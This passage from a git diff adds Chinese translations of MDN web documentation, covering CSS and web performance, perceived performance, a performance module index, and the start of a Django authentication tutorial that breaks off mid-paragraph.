+<p dir="ltr">If you want to search for something that has less obvious buzzwords, you need to think about what is most likely to return what you want.</p> + +<ul dir="ltr"> + <li>Run code after several promises are fulfilled</li> + <li>Play a video stream from a webcam in the browser</li> + <li>Create a linear gradient in the background of your element</li> +</ul> + +<h4 id="Error_messages">Error messages</h4> + +<p>If you are having a problem with some code and a specific error message is coming up, it is often a good idea to just copy the error message into your search engine and use it as the search term. If other people have had the same problem, there'll likely be some articles or blog posts about it in places like MDN or Stack Overflow.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: <a href="https://stackoverflow.com/">Stack Overflow</a> is a really useful website — it is basically a huge database of curated questions and answers on various technologies and related techniques. You'll probably find an answer that answers your question. If not, you can ask a question and see if anyone can help you.</p> +</div> + +<h4 id="Browser_testing">Browser testing</h4> + +<p dir="ltr">It is often a good idea to see if your problem is affecting all browsers, or whether it only occurs in one or a small number of browsers. If it is only affecting one browser, for example, you can use that browser to narrow down the search. Example searches might look like:</p> + +<ul dir="ltr"> + <li><video> playback doesn't work in the iOS browser.</li> + <li>Firefox doesn't seem to support the Beetlejuice API.</li> +</ul> + +<h3 dir="ltr" id="Using_MDN">Using MDN</h3> + +<p dir="ltr">The site you are already on has a wealth of information available to you — both reference material for looking up code syntax, and guides/tutorials for learning techniques.</p> + +<p dir="ltr">We've provided most of the answers to the questions you'll have about web development fundamentals in this part of MDN. If you are stuck, it is good to re-read the associated articles to see if you missed anything.</p> + +<p dir="ltr">If you are not sure which article to read then try searching MDN for some related keywords (as indicated above), or try a general web search. To search on MDN you can either use the site's in-built search functionality or better still, use your favorite search engine and put "mdn" in front of the search term. For example, "mdn responsive web design" or "mdn background-color".</p> + +<h3 dir="ltr" id="Other_online_resources">Other online resources</h3> + +<p>We already mentioned Stack Overflow, but there are other online resources that can help.</p> + +<p>It is good to find a community to be part of, and you'll get a lot of respect if you try to help others answer their questions as well as asking your own. Other good examples include:</p> + +<ul dir="ltr"> + <li><a href="https://discourse.mozilla.org/c/mdn">MDN Discourse</a></li> + <li><a href="https://www.sitepoint.com/community/">Sitepoint Forums</a></li> + <li><a href="https://www.webdeveloper.com/">webdeveloper.com Forums</a></li> +</ul> + +<p dir="ltr">However, it also makes sense to find useful groups on social networking sites such as Twitter or Facebook. Look for groups that discuss web development subjects you are interested in and join up. Follow people on twitter you know are influential, smart, or just plain seem to share lots of useful tips.</p> + +<h3 dir="ltr" id="Physical_meetups">Physical meetups</h3> + +<p dir="ltr">Lastly, you should try attending some physical meetups to meet other like-minded people, especially ones that cater to beginners. <a href="https://www.meetup.com/find/tech/">meetup.com</a> is a good place to find local physical meetups, and you could also try your local press/what's on sites.</p> + +<p dir="ltr">You could also try attending full-fledged web conferences. While these can be expensive, you could try volunteering at them, and many conferences offer reduced rate tickets, for example, student or diversity tickets.</p> + +<h2 dir="ltr" id="See_also">See also</h2> + +<ul dir="ltr"> + <li><a href="https://www.coursera.org/learn/learning-how-to-learn">Coursera: Learning to learn</a></li> + <li><a href="https://www.freecodecamp.org/">Freecodecamp</a></li> + <li><a href="https://www.codecademy.com/">Codecademy</a></li> +</ul> diff --git a/files/zh-cn/learn/performance/css/index.html b/files/zh-cn/learn/performance/css/index.html new file mode 100644 index 0000000000..e122e198be --- /dev/null +++ b/files/zh-cn/learn/performance/css/index.html @@ -0,0 +1,44 @@ +--- +title: CSS performance optimization +slug: Learn/Performance/CSS +translation_of: Learn/Performance/CSS +--- +<p>{{draft}}</p> + +<p>页面在样式没有渲染完毕的情况下被绘制,在样式渲染完毕后又被刷新,这大概是很糟糕的用户体验。因此,除非浏览器知道当前不需要 该 CSS,否则 该 CSS将阻止渲染。浏览器只会在下载 CSS 和构建 CSSOM之后绘制页面。浏览器遵循特定的渲染路径:绘制 paint 仅在布局 layout之后进行,布局 layout 则在创建渲染树 render tree 之后进行,创建渲染树则需要在DOM和CSSOM 树解析完成后进行。为了优化CSSOM的构造,请删除不必要的样式,对 CSS 进行最小化,压缩和缓存,并将页面加载时不需要的CSS拆分为其他文件,以减少CSS渲染阻塞。</p> + +<h3 id="阻塞渲染优化">阻塞渲染优化</h3> + +<p>CSS 可以使用媒体查询将样式应用在特定条件下。媒体查询对于响应式 Web 设计非常重要,可以帮助我们优化关键渲染路径。浏览器会阻塞渲染,直到它解析完全部的样式,但不会阻塞渲染它认为不会使用的样式,例如打印样式表。通过基于媒体查询将CSS分成多个文件,可以防止在下载未使用的CSS期间阻止渲染。为了创建非阻塞 CSS 链接,将不会立即使用的样式(例如打印样式)移动到单独的文件中,将 <code><a href="/en-US/docs/Web/HTML/Element/link"><link></a></code> 添加到 HTML 中,并添加媒体查询,在这种情况下说明它是打印样式表。</p> + +<pre class="brush: html"><link rel="stylesheet" href="styles.css"> <!-- blocking --> +<link rel="stylesheet" href="print.css" media="print"> <!-- not blocking --> +<link rel="stylesheet" href="mobile.css" media="screen and (max-width: 480px)"> <!-- not blocking on large screens --></pre> + +<p>默认情况下,浏览器假设每个指定的样式表都是阻塞渲染的。通过添加 media属性附加媒体查询,告诉浏览器何时应用样式表。当浏览器看到一个它知道只会用于特定场景的样式表时,它仍会下载样式,但不会阻塞渲染。通过将 CSS 分成多个文件,主要的 阻塞渲染 文件(本例中为 <code>styles.css</code>)的大小变得更小,从而减少了渲染被阻塞的时间。</p> + +<h3 id="在GPU_上呈现动画">在GPU 上呈现动画</h3> + +<p>浏览器针对处理CSS动画和不会很好地触发重排(因此也导致重新绘制)的动画属性进行了优化。为了提高性能,可以将被动画化的节点从主线程移到GPU上。将导致合成的属性包括 3D transforms (<code><a href="/en-US/docs/Web/CSS/transform">transform: translateZ()</a></code>, <code><a href="/en-US/docs/Web/CSS/transform-function/rotate3d">rotate3d()</a></code>,etc.),animating transform 和 <code><a href="/en-US/docs/Web/CSS/opacity">opacity</a></code>, <code><a href="/en-US/docs/Web/CSS/position">position: fixed</a></code>,<code><a href="/en-US/docs/Web/CSS/will-change">will-change</a></code>,和 <code><a href="/en-US/docs/Web/CSS/filter">filter</a></code>。一些元素,例如 <code><a href="/en-US/docs/Web/HTML/Element/video"><video></a></code>, <code><a href="/en-US/docs/Web/HTML/Element/canvas"><canvas></a></code> 和 <code><a href="/en-US/docs/Web/HTML/Element/iframe"><iframe></a></code>,也位于各自的图层上。 将元素提升为图层(也称为合成)时,动画转换属性将在GPU中完成,从而改善性能,尤其是在移动设备上。</p> + +<h3 id="will-change_属性"><code>will-change</code> 属性</h3> + +<p>CSS <a href="/en-US/docs/Web/CSS/will-change"><code>will-change</code></a> 属性告诉浏览器元素的哪些属性需要修改,使浏览器能够在元素实际更改之前设置优化,通过在实际更改前执行耗时的工作以提升性能。</p> + +<pre class="brush: css">will-change: opacity, transform;</pre> + +<h3 id="font-display_属性"><code>font-display</code> 属性</h3> + +<p>根据 <a href="/en-US/docs/Web/CSS/@font-face">@font-face</a> 规则,<a href="/en-US/docs/Web/CSS/@font-face/font-display">font-display</a> 属性定义了浏览器如何加载和显示字体文件,允许文本在字体加载或加载失败时显示回退字体。可以通过依靠折中无样式文本闪现使文本可见替代白屏来提高性能。</p> + +<pre class="brush: css">@font-face { + font-family: someFont; + src: url(/path/to/fonts/someFont.woff) format('woff'); + font-weight: 400; + font-style: normal; + font-display: fallback; +}</pre> + +<h3 id="contain_属性"><code>contain</code> 属性</h3> + +<p>CSS的 <code>contain</code>属性允许作者指示元素及其内容尽可能独立于文档树的其余部分。 这允许浏览器针对DOM的有限区域而不是整个页面重新计算布局,样式,绘画,大小或它们的任意组合。</p> diff --git a/files/zh-cn/learn/performance/index.html b/files/zh-cn/learn/performance/index.html new file mode 100644 index 0000000000..1d6e2b8c72 --- /dev/null +++ b/files/zh-cn/learn/performance/index.html @@ -0,0 +1,107 @@ +--- +title: Web Performance +slug: learn/Performance +translation_of: Learn/Performance +--- +<h2 id="LearnSidebardraft">{{LearnSidebar}}{{draft}}</h2> + +<p class="summary">构建一个网站需要HTML、CSS和JavaScript。为了构建人们需要的、能吸引和留住用户的网站和应用,你需要创建一个良好的用户体验。良好用户体验的一部分是确保内容能够快速加载并响应用户交互。这就是所谓的<strong>web性能</strong>,在这个模块中,你将会学到构建性能良好的网站所需要的知识。</p> + +<p>给初学者的学习材料的剩下部分主要关注于如何尽量提高性能和易用性等网络体验。但是,也需要特别关注这些话题,确保你熟悉他们。</p> + +<h2 id="学习方法">学习方法</h2> + +<p>虽然了解HTML,CSS和Javascript是实现许多网页性能提升建议的必要条件,但了解如何构建应用却不是理解和衡量网页性能的必要先决条件。即便如此我们仍建议在通读此模块之前,你至少要过一遍我们的网页编程入门模块,对网页发展有一个基本认识。</p> + +<p>更深入进行以下主题也很有必要,这些模块包括</p> + +<ul> + <li>HTML入门 </li> + <li>CSS初步 </li> + <li>Javascript初步 </li> +</ul> + +<p>当你通读了这个部分之后,你或许特别想深入了解网页性能——你可以 在我们的主MDN网页性能章节找到更多教学,包括性能API的概览,测试和分析工具 ,以及性能瓶颈问题。</p> + +<h2 id="Introductory_modules">Introductory modules</h2> + +<p>This topic contains the following modules, in a suggested order for working through them. You should definitely start with the first one.</p> + +<dl> + <dt><a href="/en-US/docs/Learn/Performance/What_is_performance">What is web performance?</a></dt> + <dd>This article starts the module off with a good look at what performance actually is — this includes the tools, metrics, APIs, networks, and groups of people we need to consider when thinking about performance, and how we can make performance part of our web development workflow.</dd> + <dt><a href="/en-US/docs/Learn/Performance/Perceived_performance">How do users perceive performance?</a></dt> + <dd> + <p>More important than how fast your website is in milliseconds, is how fast your users perceive your site to be. These perceptions are impacted by actual p<span>age load time, idling, responsiveness to user interaction, and the smoothness of scrolling and other animations. In this article, we discuss the various loading metrics, animation, and responsiveness metrics, along with best practices to improve user perception, if not the actual timings.</span></p> + </dd> + <dt><a href="/en-US/docs/Learn/Performance/Basics">Web performance basics</a></dt> + <dd>In addition to the front end components of HTML, CSS, JavaScript, and media files, there are features that can make applications slower and features that can make applications subjectively and objectively faster. There are many APIs, developer tools, best practices, and bad practices relating to web performance. Here we'll introduce many of these features ad the basic level and provide links to deeper dives to improve performance for each topic.</dd> + <dt><a href="/en-US/docs/Learn/Performance/HTML">HTML performance features</a></dt> + <dd>Some attributes and the source order of your mark-up can impact the performance or your website. By minimizing the number of DOM nodes, making sure the best order and attributes are used for including content such as styles, scripts, media, and third-party scripts, you can drastically improve the user experience. This article looks in detail at how HTML can be used to ensure maximum performance.</dd> + <dt><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: images and video</a></dt> + <dd>The lowest hanging fruit of web performance is often media optimization. Serving different media files based on each user agent's capability, size, and pixel density is possible. Additional tips like removing audio tracks from background videos can improve performance even further. In this article we discuss the impact video, audio, and image content has on performance, and the methods to ensure that impact is as minimal as possible.</dd> + <dt>Responsive Images</dt> + <dd>While optimizing images is vital to high-performance media-rich user experiences, ensuring that images are sized appropriately for the devices that download them is especially important. In this article, we'll discuss the role of native browser features such as the <picture> element and the srcset attribute in efficient image delivery, and how you can use them with confidence.</dd> + <dt>Alternative media formats</dt> + <dd>When it comes to images and videos, there are more formats than you're likely aware of. Some of these formats can take your highly optimized media-rich pages even further by offering additional reductions in file size. In this guide we'll discuss some alternative media formats, how to use them responsibly so that non-supporting browsers don't get left out in the cold, and some advanced guidance on transcoding your existing assets to them.</dd> + <dt><a href="/en-US/docs/Learn/Performance/CSS">CSS performance features</a></dt> + <dd>CSS may be a less important optimization focus for improved performance, but there are some CSS features that impact performance more than others. In this article we look at some CSS properties that impact performance and suggested ways of handling styles to ensure performance is not negatively impacted.</dd> + <dt><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a></dt> + <dd>JavaScript, when used properly, can allow for interactive and immersive web experiences — or it can significantly harm download time, render time, in-app performance, battery life, and user experience. This article outlines some JavaScript best practices that should be considered to ensure even complex content is as performant as possible.</dd> + <dt>Web font performance</dt> + <dd>An often overlooked aspect of performance landscape are web fonts. Web fonts are more prominent in web design than ever, yet many developers simply embed them from a third party service and think nothing of it. In this article, we'll covers methods for getting your font files as small as possible with efficient file formats and sub setting. From there, we'll go on to talk about how browsers text, and how you can use CSS and JavaScript features to ensure your fonts render quickly, and with minimal disruption to the user experience.</dd> +</dl> + +<dl> + <dt><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></dt> + <dd>With web access on mobile devices being so popular, and all mobile platforms having fully-fledged web browsers, but possibly limited bandwidth, CPU and battery life, it is important to consider the performance of your web content on these platforms. This article looks at mobile-specific performance considerations.</dd> +</dl> + +<h2 id="Advanced_Modules">Advanced Modules</h2> + +<dl> + <dt>Populating the page</dt> + <dd>An HTTP request is made and, hopefully, a few seconds later, the site appears. Displaying the content involves executing JavaScript, possibly modifying the DOM, calculating styles, calculating layout, and finally rendering the content, which involves painting and compositing, and can involve GPU acceleration on a separate thread.</dd> + <dt>Performance bottlenecks</dt> + <dd></dd> + <dt><a href="/en-US/docs/Learn/Performance/Latency">Understanding latency</a></dt> + <dd> + <p>Latency is the amount of time it takes between the browser making a request for a resource, and the browser receiving back the first byte of the resource requested. This article explains what latency is, how it impacts performance, and how to measure and improve latency.</p> + </dd> + <dt>Understanding bandwidth</dt> + <dd> + <p>Bandwidth is the amount of data (measured in Mbps or Kbps) that can be sent per second. This article explains the role of bandwidth in media-rich internet applications, how it can be measured, and how you can optimize applications to make the best use of available bandwidth.</p> + </dd> + <dt>HTTP/2 and you</dt> + <dd> + <p>The transport layer—that is, HTTP—is utterly essential to the functioning of the web, and it has only been relatively recently that it has seen a major update in the form of HTTP/2. Out of the box, HTTP/2 provides many performance improvements and advantages over its predecessor, but it also changes the landscape. In this article, you'll learn what HTTP/2 does for you, and how to fine-tune your application to make it do go even further.</p> + </dd> + <dt>The role of TLS in performance</dt> + <dd> + <p>TLS—or HTTPS as we tend to call it—is crucial in creating secure and safe user experiences. While hardware has reduced the negative impacts TLS has had on server performance, it's still represents a substantial slice of the time we spend waiting for browsers to connect to servers. This article explains the TLS handshake process, and offers some tips for reducing this time, such as OCSP stapling, HSTS preload headers, and the potential role of resource hints in masking TLS latency for third parties.</p> + </dd> + <dt><a href="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Profiling with the built-in profiler</a></dt> + <dd>Learn how to profile app performance with Firefox's built-in profiler.</dd> + <dt>Reading performance charts</dt> + <dd>Developer tools provide information on performance, memory, and network requests. Knowing how to read <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Waterfall">waterfall</a> charts, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Call_Tree">call trees</a>, traces, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Flame_Chart">flame charts</a> , and <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Allocations">allocations</a> in your browser developer tools will help you understand waterfall and flame charts in other performance tools.</dd> + <dt><a href="/en-US/Apps/Build/Performance/CSS_JavaScript_animation_performance">CSS and JavaScript animation performance</a></dt> + <dd>Animations are critical for a pleasurable user experience. This article discusses the performance differences between CSS and JavaScript-based animations.</dd> + <dt>Analyzing JavaScript bundles</dt> + <dd>No doubt, JavaScript is a big part of modern web development. While you should always strive to reduce the amount of JavaScript you use in your applications, it can be difficult to know where to start. In this guide, we'll show you how to analyze your application's script bundles, so you know <em>what</em> you're using, as well how to detect if there are duplicated scripts between bundles in your app.</dd> + <dt>Lazy-loading JavaScript with dynamic imports</dt> + <dd>When developers hear the term "lazy loading", they immediately think of below-the-fold imagery that loads when it scrolls into the viewport. But did you know you can lazy load JavaScript as well? In this guide we'll talk about the dynamic import() statement, which is a feature in modern browsers that loads a JavaScript module on demand. Of course, since this feature isn't available everywhere, we'll also show you how you can configure your tooling to use this feature in a widely compatible fashion.</dd> +</dl> + +<dl> + <dt>Controlling resource delivery with resource hints</dt> + <dd>Browsers often know better than we do when it comes to resource prioritization and delivery—but they're far from clairvoyant. Native browser features enable us to hint to the browser when it should connect to another server, or preload a resource before the browser knows it ever needs it. When used judiciously, this can make fast experience seem even faster. In this article, we cover native browser features like rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload, and how to use them to your advantage.</dd> +</dl> + +<h2 id="See_Also">See Also</h2> + +<ul> + <li><a href="/en-US/docs/Web/Performance/Mobile_performance_checklist">Mobile performance checklist</a></li> + <li><a href="/en-US/docs/Web/Apps/Fundamentals/Performance/Optimizing_startup_performance">Optimizing Startup Performance</a><a href="/en-US/docs/Web/Apps/Fundamentals/Performance/Optimizing_startup_performance"> </a></li> +</ul> + +<p>{{LandingPageListSubpages}}</p> diff --git a/files/zh-cn/learn/performance/web_performance_basics/index.html b/files/zh-cn/learn/performance/web_performance_basics/index.html new file mode 100644 index 0000000000..4689bfa18a --- /dev/null +++ b/files/zh-cn/learn/performance/web_performance_basics/index.html @@ -0,0 +1,44 @@ +--- +title: Web performance basics +slug: learn/Performance/Web_Performance_Basics +translation_of: Learn/Performance/Web_Performance_Basics +--- +<p>有很多的<a href="https://developers.google.com/web/fundamentals/performance/why-performance-matters/">理由</a>告诉你为什么你的网站需要尽可能好的性能。下面是关于最佳实践,工具,API以及链接的简明介绍,它为每个主题提供了更多的信息。意识到对用户来说什么是真正重要的也至关重要,他可能不是绝对意义上的时间而是<a href="https://developer.mozilla.org/en-US/docs/Learn/Performance/perceived_performance">用户感知的时间</a>。</p> + +<h4 id="最佳实践">最佳实践</h4> + +<ul> + <li>从学习浏览器的<a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Critical_rendering_path">关键渲染路径</a>开始。了解这些会帮助你通晓如何提升浏览器的性能。</li> + <li>使用<a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Controlling_resource_delivery_with_resource_hints">resource hints</a>例如<code>rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload</code></li> + <li>压缩Js代码至<a href="https://medium.com/@addyosmani/the-cost-of-javascript-in-2018-7d8950fbb5d4">最小</a>。只为当前页面加载需要使用到的js代码</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Performance/CSS_performance">CSS</a>性能因素 </li> + <li>在你的服务器(或者CDN)上使用 <a href="https://developer.mozilla.org/en-US/docs/Learn/Performance/HTTP2">HTTP/2</a>协议</li> + <li> 使用CDN托管静态资源,这样可以显著减少加载时间</li> + <li> 使用<a href="https://www.gnu.org/software/gzip/" rel="nofollow noopener">gzip</a>, <a href="https://github.com/google/brotli" rel="nofollow noopener">Brotli</a> 或者 <a href="https://github.com/google/zopfli" rel="nofollow noopener">Zopfli</a>压缩您的资源</li> + <li> 图片优化(如果可以,尽可能使用css动画或者svg)</li> + <li> 在超出应用视口范围的部分使用懒加载,如果你这么做了,为SEO制定一个后备计划(例如为bot traffic 渲染整个页面)</li> +</ul> + +<h4 id="工具">工具</h4> + +<ul> + <li>学习使用<a href="https://developer.mozilla.org/en-US/docs/Tools/Performance">Firefox Dev Tools</a>来分析您的网站。</li> + <li><a href="https://developers.google.com/speed/docs/insights/v5/about">Pagespeed Insights</a> 可以分析您的页面并且给出一些通用的建议来提升网站性能。</li> + <li><a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a> 可以给您一份有关您网站的包括性能,SEO和可访问性等多个方面的详细分类。</li> + <li>使用 <a href="http://webpagetest.org/">Webpagetest.org</a>检测页面在不同真实设备类型和地点时候的速度。trics.</li> + <li>定义一个 绩效预算<a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Performance_budget"> </a>(<a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Performance_budget">performance budget</a>)。</li> +</ul> + +<h4 id="APIs">APIs</h4> + +<ul> + <li>收集用户指标通过 <a href="https://github.com/akamai/boomerang">https://github.com/akamai/boomerang</a> 。</li> + <li>或者通过<a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/performance">window.performance.timing</a> 直接收集。</li> +</ul> + +<h4 id="不该做的事(坏的实践)">不该做的事(坏的实践)</h4> + +<ul> + <li> 将任何东西都下载下来</li> + <li> 使用未经压缩的媒体文件</li> +</ul> diff --git a/files/zh-cn/learn/performance/感知性能/index.html b/files/zh-cn/learn/performance/感知性能/index.html new file mode 100644 index 0000000000..3740a4c62c --- /dev/null +++ b/files/zh-cn/learn/performance/感知性能/index.html @@ -0,0 +1,109 @@ +--- +title: 感知性能 +slug: learn/Performance/感知性能 +tags: + - Web 性能 + - 感知性能 +translation_of: Learn/Performance/perceived_performance +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Performance/what_is_web_performance", "Learn/Performance/Measuring_performance", "Learn/Performance")}}</div> + +<p><span class="seoSummary"><strong><a href="/zh-CN/docs/Glossary/Perceived_performance">感知性能</a></strong> 是用户对网站速度的感受。</span> 用户如何看待性能与任何客观统计数据一样重要,甚至更重要,但它是主观的,并且不易测量。感知性能是用户视角,而不是指标。</p> + +<p>本文简要介绍了感知性能,着眼于用户的感知,以及可以使用哪些客观工具来衡量这类主观因素。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基础计算机知识,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">基本软件安装</a>, <a href="/en-US/docs/Learn/Getting_started_with_the_web">客户端 web 技术</a>的基础知识</td> + </tr> + <tr> + <th scope="row">目标</th> + <td>基本了解用户对Web性能的看法。</td> + </tr> + </tbody> +</table> + +<p>性能是关于用户视角的。 How fast a website feels like it's loading and rendering has a greater impact on user experience than how fast the website actually loads and renders. Even if an operation is going to take a long time (because of latency or or inavailability of the <a href="/en-US/docs/Glossary/Main_thread">main thread</a>), it is possible to keep the user engaged while they wait by showing a loading spinner, or a series of useful hints and tips (or jokes, or whatever else you think might be appropriate). Such an approach is much better than just showing nothing, which will make it feel like it is taking a lot longer and possibly lead to your users thinking it is broken and giving up.</p> + +<h2 id="感知性能">感知性能</h2> + +<p>The perception of how fast your site loads and how responsive feels to user interaction is vitally important; even more important that actual download time but difficult to quantify. There are areas of your site that you may not be able to make faster, but you can make it <em>feel</em> faster even if the metrics discussed in the othser sections can't be improved.</p> + +<p>There is no unicorn metric that can measure what the user feels, but metrics are useful in guaging improvements (and regressions). Relevant measurements include first meaningful paint (FMP), largest contentful paint (LCP), time to interactive (TTI), render start, DOM interactive, and speed index.</p> + +<p><strong><a href="/en-US/docs/Glossary/First_paint">First paint </a></strong>is reported by the browser and provides the time, in ms, of when the page starts changing; but this change can be a simple background color update or something even less noticable. It doesn’t indicate completeness and may report a time when nothing visible is painted. <strong><a href="/en-US/docs/Glossary/First_contentful_paint">First Contentful Paint</a> (FCP) </strong>reports the time when the browser first rendered anything of signifigance, be that text, foreground or background image, or a canvas or SVG; capturing the very beginning of the loading experience. But, just because there's content, doesn't mean it's useful content or that the user has content to consume. The <strong><a href="/en-US/docs/Glossary/first_meaningful_paint">First Meaningful Paint</a></strong>, or FMP, is the when content appears on the screen that is actually meaningful; which is a better metric for user-perceived loading experience, but still not ideal. <strong>Largest contentful paint (LCP)</strong> metric, definited in the <a href="https://wicg.github.io/largest-contentful-paint/">Largest Contentful Paint API</a>, reports the render time of the largest content element visible in the viewport.</p> + +<p><strong><a href="/en-US/docs/Glossary/Speed_index">Speed index</a></strong> is also used to approximate perceived performance: it measures the average time for pixels on the visible screen to be painted. It doesn't account for jitter, nor does it weight which content important to a user more highly, so it's not a perfect metric.</p> + +<p>These metrics have to do with initial load and render. It is also important to ensure the site feels fast once the user begins interacting with it. For this, <strong><a href="/en-US/docs/Glossary/Time_to_interactive">time to interactive</a></strong>, is a good metric; it is the moment when the last <a href="/en-US/docs/Glossary/Long_task">long task </a>of the load process finishes and the UI is available for user interaction with delay.</p> + +<p>UI lack or responsiveness and jank both harm perceived performance. Even though a task may take a long time, though, there are ways to make it seem faster. There are several tips to improving perceived performance.</p> + +<h3 id="提升感知性能">提升感知性能</h3> + +<p>Understanding networking, how the browser works, user perception of time, etc., can help you better understand how to improve the user interaction. However, you don't have to know the ins and outs of how everything, including how the human mind works, to improve the perception of speed.</p> + +<p>How fast or slow something feels like it's taking depends a lot on whether the user is actively or passively waiting for this thing to happen. Waits can have an active and passive phase. When the user is active - moving the mouse, thinking, being entertainted, they are in an active phase. The passive phase occurs when the user is passively waiting, like staring at a monochrome screen. If both the passive and active waits time were objectively equal, users would estimate that the passive waiting period was longer than the active. If a load, render, or response time can not be objectively minimized any further, turning the wait into an active wait instead of a passive wait can make it feel faster.</p> + +<p>There are tips and tricks to follow. Some of these quick tips have full articles if you want to dive deeper.</p> + +<p>Displaying content, or at least some part of the page with an indication that content is loading, as quickly as possible, is essential to improving perceived performance. For example, because page render is blocked by loading and parsing CSS and JavaScript, minimizing the amount of CSS and JS that needs to be loaded on initially will have a major impact on improving perceived performance. Even though the bytes might be the same, not blocking the page from rendering makes the load <em>feel</em> faster.</p> + +<p>这里有一些技巧有助于提升性能:</p> + +<h3 id="最小化初始加载">最小化初始加载</h3> + +<p>要提升可感知性能,请最小化页面初始加载。 换句话说,首先下载将实际显示的所有内容,但仅下载实际使用的内容,然后下载其余内容。 因为最终要下载所有资源,所以实际上资源总量并没有改善——实际上还需要增加一些代码。但因为暂不需要的资源被延后加载了,所以用户并不会感知资源量的增加,而会感受到页面加载更快了。 </p> + +<p>为了最大程度地<a href="https://onilab.com/blog/perceived-performance-vs-actual-load-time-5-secrets-of-lightning-fast-magento-store/">减少初始加载资源</a>,请从内容中分离交互式功能,以便优先加载初始化时所需的可见内容——文本、样式和图像。 延迟加载其余资源。</p> + +<p>不要加载初始页面未使用或看不到的图像或脚本,而在页面可用后延时加载,或在需要使用时按需加载。 在初始页面加载之后加载其他资源可提高感知性能。 在初始请求中加载基本数据,并仅根据需要逐步加载功能部件和数据,有助于改善低带宽和低规格硬件的体验。</p> + +<p>此外,您应该优化需加载的资源。 图片和视频应以最佳格式、压缩后的大小和正确尺寸进行投放。</p> + +<h3 id="防止内容跳转和其他重排">防止内容跳转和其他重排</h3> + +<p>Images or other assets causing content to be pushed down or jump to a different location, like the loading of third party advertisements, can make the page feel like it is still loading and is bad for perceived performance. Content reflowing is especially bad for user experience when not initiated by user interaction. If some assets are going to be slower to load than others, with elements loading after other content has already been painted to the screen, plan ahead and leave space in the layout for them so that content doesn't jump or resize, especially after the site has become interactive.</p> + +<h3 id="避免字体文件延迟">避免字体文件延迟</h3> + +<p>Font use can both help and harm user experience. Selecting the right fonts is an art form, and can greatly improve the user experience. Fonts can also harm user experience, especially if the fonts used need to be imported, and if the importing is not optimal, or if Comic Sans is used (kidding). Flicker of unstyled text and missing text both harm performance.</p> + +<p>Make fallback fonts the same size and weight so that when fonts load the page change is less noticeable.</p> + +<h3 id="交互类元素是可交互的">交互类元素是可交互的</h3> + +<p>Make sure visible interactive elements are always interactive and responsive. If input elements are visible, the user should be able to interact with them without a lag. Users feel that something is laggy when they take more than 50ms to react. They feel that a page is janky when content repaints slower than 16.67ms (or 60 frames per second) or repaints at uneven intervals.</p> + +<p>Make things like type-ahead a progressive enhancement: use css to display input modal, JS to add typeahead/autocomplete as it is available</p> + +<h3 id="使任务启动器显得更具交互性">使任务启动器显得更具交互性</h3> + +<p>在按下按键而不是等待按键弹起时发出请求,可以使感知的内容加载减少200毫秒。在 KEYUP 后添加一个有趣但不显眼的200毫秒动画,甚至可以再降低200毫秒的加载感知。 您并没有节省400毫秒的时间,但是用户直到真正等待内容时,才感觉到他们在等待内容。</p> + +<h2 id="总结">总结</h2> + +<p>By turning as much of the download, render and wait time into active phases and reducing any passive waiting, even if the objective measurements stay the same, the user will feel like the content downloaded, rendered, and responded more quickly. Now that we know what we should be speeding up, let's take a look at some metrics and learn how we can measure these events.</p> + +<p>{{PreviousMenuNext("Learn/Performance/what_is_web_performance", "Learn/Performance/Measuring_performance", "Learn/Performance")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Performance/why_web_performance">The "why" of web performance</a></li> + <li><a href="/en-US/docs/Learn/Performance/What_is_web_performance">What is web performance?</a></li> + <li><a href="/en-US/docs/Learn/Performance/Perceived_performance">How do users perceive performance?</a></li> + <li><a href="/en-US/docs/Learn/Performance/Measuring_performance">Measuring performance</a></li> + <li><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: images</a></li> + <li><a href="/en-US/docs/Learn/Performance/video">Multimedia: video</a></li> + <li><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a>.</li> + <li><a href="/en-US/docs/Learn/Performance/HTML">HTML performance features</a></li> + <li><a href="/en-US/docs/Learn/Performance/CSS">CSS performance features</a></li> + <li><a href="/en-US/docs/Learn/Performance/Fonts">Fonts and performance</a></li> + <li><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></li> + <li><a href="/en-US/docs/Learn/Performance/business_case_for_performance">Focusing on performance</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/django/authentication/index.html b/files/zh-cn/learn/server-side/django/authentication/index.html new file mode 100644 index 0000000000..c6536c3309 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/authentication/index.html @@ -0,0 +1,710 @@ +--- +title: 'Django 教程 8: 用户授权与许可' +slug: learn/Server-side/Django/Authentication +translation_of: Learn/Server-side/Django/Authentication +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</div> + +<p class="summary">在<font><font>本教程中,我们将向您展示如何允许用户使用自己的帐户登录到您的网站,以及如何根据用户是否已登录及其</font></font><em><font><font>权限</font></font></em><font><font>来控制他们可以执行和查看的内容</font><font>。</font><font>作为演示的一部分,我们将扩展</font></font><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website" style='color: rgb(63, 135, 166); margin: 0px; padding: 0px; border: 0px; text-decoration: none; 